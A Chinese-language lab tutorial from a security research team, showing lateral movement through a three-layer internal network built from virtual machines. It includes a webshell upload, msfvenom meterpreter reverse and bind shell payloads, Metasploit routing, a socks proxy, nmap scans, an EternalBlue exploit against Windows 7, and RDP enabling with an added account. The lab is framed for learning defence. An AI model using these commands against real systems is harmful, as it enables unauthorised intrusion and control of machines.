近年來,攻擊者潛伏在企業內網進行攻擊的安全事件屢見不鮮,攻擊者在經常會企業的內網進行橫向滲透,令防守方防不勝防。因此,我們應該嚴格控制好網絡區域之間的訪問規則,加大攻擊橫向滲透的阻力。本文由錦行科技的安全研究團隊提供,旨在通過實驗演示進一步了解攻擊者是如何在多層內網進行的滲透。
1.實驗簡介
網絡拓撲圖
滲透機:win10+kali
第一層靶機 (外網web服務器): linux
第二場靶機 (內網web服務器): Linux
第三層靶機 (內網辦公機) : win7
用三層網絡來模擬內外網環境,主要了解MSF、內網轉發等。
2.環境搭建
第一層網絡
把滲透機kali和win10網卡1設置選擇V.NET1:
靶機Linux網卡1設置選擇VMnet1,添加網卡2 設置選擇VMnet2:
第二層網絡
將第二臺靶機Linux網卡1設置選擇VMnet2,添加網卡2 設置選擇VMnet3:
第三層網絡
將靶機win7網卡1設置選擇VMnet3:
再配置好各臺機器對應IP即可。
最后
在第一臺Linux和第二臺Linux上搭建一個php上傳頁面,設為存在文件上傳漏洞的web頁面,以便后續的拿shell進行內網滲透。
第一臺Linux
第二臺Linux
3.實驗過程
第一層靶機
win10訪問http://192.168.85.131/直接上傳一句話木馬
蟻劍連接
進一步做內網滲透,上傳msf后門
打開kali msfconsole 輸入msfvenom -p
linux/x64/meterpreter/reverse_tcp LHOST=192.168.85.128 LPORT=4444 -f elf > mshell.elf
生成一個名為mshell.elf的msf后門文件
蟻劍把后門文件上傳到Linux靶機
返回msf 開啟監聽
use exploit/multi/handler 使用監聽模塊
set payload
linux/x64/meterpreter/reverse_tcp 使用和木馬相同的payload
set lhost 192.168.85.128 kaili 的ip
set lport 4444 木馬的端口
run 執行
蟻劍打開虛擬終端cd到后門文件的目錄下,執行后門文件,輸入
chmod 777 mshell.elf 加執行權限
./mshell.elf 執行文件
Kail接受到MSF會話
輸入ifconfig,發現第二層172.10.10.0/24網段
添加路由
background 將會話轉到后臺
route add 172.10.10.0/24 1
添加 172.10.10.0/24網段 使用session1
route print 查看路由表
使用MSF建立socks代理
use auxiliary/server/socks4a
set srvhost 192.168.85.128
set srvport 10080
run
配置socks4代理的相關客戶端Proxychains
在配置文件/etc/proxychains.conf中添加:
socks4 192.168.85.128 10080
vi /etc/proxychains.conf
添加socks4 192.168.85.128 10080
這樣利用proxychains啟動的應用都可以帶sock4代理,proxychains 為kali自帶的,非MSF里的。
建立好代理后滲透機可以通過這臺Linux當跳板機進入第二層網絡
第二層網絡
nmap探測存在web服務的主機
用proxychans啟動nmap對第二層網段進行80端口掃描,執行proxychains nmap -sT -Pn -p 80 172.10.10.0/24
掃描發現55和56存在web服務,172.10.10.56即為第二層網絡的ip
由于proxychains無法代理icmp的數據包,所以必須添加-sT -Pn參數,即不檢測主機是否存活,直接進行端口tcp掃描。
腳本探測存活主機
在本地創建一個名為ping.sh的腳本,腳本內容如下:
#!/bin/bash
ip=”172.10.10.”
echo “ping log:” > ./ping.txt
for i in {1..254}
do
ping -c 1 -w 1 -W 1 $ip$i | grep -q “ttl=” && echo “$ip$i [yes]” >> ./ping.txt || echo “$ip$i [no]” >> ./ping.txt &
done
echo “wait 5s….”
sleep 5
cat ./ping.txt
cat ./ping.txt | wc -l
Kali進入session1會話,然后upload命令上傳剛剛創建的腳本到靶機upload /root/ping.sh /var/www/hrml/upload
進入shell執行
Python/ target=_blank class=infotextkey>Python -c ‘import pty;pty.spawn(“/bin/bash”)’
創建一個完全交互式shell,后
Chmod 777 ping.sh
./ping.sh
可以看到172.10.10.0/24網段存活56.57兩臺
知道存活主機ip后就可以繼續進入第二層內網主機
滲透機瀏覽器配置sock4a代理
蟻劍加代理連接
連接
http://172.10.10.56/upload/php1.php
進一步做內網滲透,繼續上傳msf后門
制作MSF后門
返回kali msf 輸入
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4455 -f elf > mshell1.elf
生成 mshell1.elf后門文件
因為在內網跨網段時無法反向代理連接到滲透的機器,所以這里使用
linux/x64/meterpreter/bind_tcp 這個payload進行正向代理連接。
蟻劍上傳后門
蟻劍打開虛擬終端執行后門文件
返回會話
輸入ifconfig 發現第三層網絡的網段10.10.10.0/24
第三層網絡
添加路由
background
route add 10.10.10.0/24 2
route print
進入session 2 上傳 腳本 探測存活主機
注意把腳本的ip段修改成該網段再上傳
探測到第三層網段的存活ip :10.10.10.101
proxychans 啟動nmap對10.10.10.101的1-500端口掃描,執行
proxychains nmap -sT -Pn -p 1-500 10.10.10.101
發現445端口開啟
嘗試使用ms17-010
use
windows/smb/ms17_010_eternalblue
set rhost 10.10.10.101
set payload
windows/x64/meterpreter/bind_tcp
set lport 4466
Run ,存在445漏洞
執行成功,返回會話
開啟3389遠程桌面
run
post/windows/manage/enable_rdp 開啟遠程桌面
run
post/windows/manage/enable_rdp USERNAME=zzy PASSword=123qwe!@# 添加遠程用戶
將3389端口轉回kali本地5555端口
portfwd add -l 5555 -p 3389 -r 10.10.10.101
Win10遠程桌面連接
登陸成功